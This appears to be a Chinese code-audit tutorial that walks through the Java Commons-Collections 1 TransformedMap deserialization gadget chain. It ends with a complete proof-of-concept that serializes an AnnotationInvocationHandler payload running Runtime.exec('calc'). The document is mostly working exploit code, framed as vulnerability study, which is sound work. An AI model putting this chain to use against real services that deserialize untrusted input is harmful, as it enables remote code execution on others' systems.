代码审计 | CC1 TransformedMap 链 ——前言 反向调试 构造Payload

Runtime.getRuntime().exec("calc");

Runtime.class.getMethod("exec", String.class).invoke(Runtime.getRuntime(), "calc");

package org.example;
​
import java.io.*;
import java.lang.reflect.InvocationTargetException;
​
class cc1 implements Serializable {
    private void readObject(ObjectInputStream ois) throws IOException,
            ClassNotFoundException, NoSuchMethodException,
            InvocationTargetException, IllegalAccessException {
        Runtime.class.getMethod("exec", String.class).invoke(Runtime.getRuntime(), "calc");
    }
}
​
public class Main {
    public static void main(String[] args) throws Exception {
        // 创建恶意对象
        cc1 evil = new cc1();
​
        // 序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(evil);
        byte[] payload = baos.toByteArray();
​
        // 反序列化（触发恶意代码）
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(payload));
        ois.readObject(); // ← calc 应该会打开
    }
}

<dependencies>
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>
</dependencies>

public static void main(String[] args) {
    // 构造 Transformer
    InvokerTransformer invoker = new InvokerTransformer(
        "exec",
        new Class[]{String.class},
        new Object[]{"calc"}
    );
​
    invoker.transform(Runtime.getRuntime());
}

ConstantTransformer(Runtime.class)         → 输出 Runtime.class
InvokerTransformer("getMethod", "getRuntime") → 输出 getRuntime 这个 Method 对象
InvokerTransformer("invoke", null)         → 调用 getRuntime() → 输出 Runtime 实例
InvokerTransformer("exec")                 → 执行 exec("calc")

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),          // 1. 输出 Runtime.class
    new InvokerTransformer("getMethod",              // 2. 拿到 getRuntime 方法
        new Class[]{String.class, Class[].class},
        new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke",                 // 3. 调用 getRuntime() 拿到实例
        new Class[]{Object.class, Object[].class},
        new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec",                   // 4. 执行 exec("calc")
        new Class[]{String.class},
        new Object[]{"calc"})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
chain.transform(null); // 入参是 null，因为第一步 ConstantTransformer 会忽略输入

Map innerMap = new HashMap();
innerMap.put("value", "xxx");
​
Map transformedMap = TransformedMap.decorate(innerMap, null, chain);

// 条件一：用 key 去注解里查有没有这个方法
Class var7 = (Class)var3.get(var6);
if (var7 != null) { // 查不到就跳过，setValue 永远不执行

// 条件二：类型不匹配才会进 if 块
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
    var5.setValue(...) // 只有类型不匹配才进这里

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object handler = constructor.newInstance(Target.class, transformedMap);

public class test {
    public static <Set> void main(String[] args) throws ClassNotFoundException,
            NoSuchMethodException, InvocationTargetException,
            InstantiationException, IllegalAccessException, IOException {

        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),          // 1. 输出 Runtime.class
            new InvokerTransformer("getMethod",              // 2. 拿到 getRuntime 方法
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke",                 // 3. 调用 getRuntime() 拿到实例
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec",                   // 4. 执行 exec("calc")
                new Class[]{String.class},
                new Object[]{"calc"})
        };
        ChainedTransformer chain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        innerMap.put("value", "xxx");
        Map transformedMap = TransformedMap.decorate(innerMap, null, chain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object handler = constructor.newInstance(Target.class, transformedMap);

        // 序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(handler);
        byte[] payload = baos.toByteArray();

        // 反序列化（触发链）
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(payload));
        ois.readObject();
    }
}

反序列化
  └─ AnnotationInvocationHandler.readObject()   ← 自动触发
       └─ Map.Entry.setValue()
            └─ TransformedMap.checkSetValue()
                 └─ ChainedTransformer.transform()
                      ├─ ConstantTransformer       → Runtime.class
                      ├─ InvokerTransformer        → getMethod("getRuntime")
                      ├─ InvokerTransformer        → invoke() → Runtime 实例
                      └─ InvokerTransformer        → exec("calc")  🎯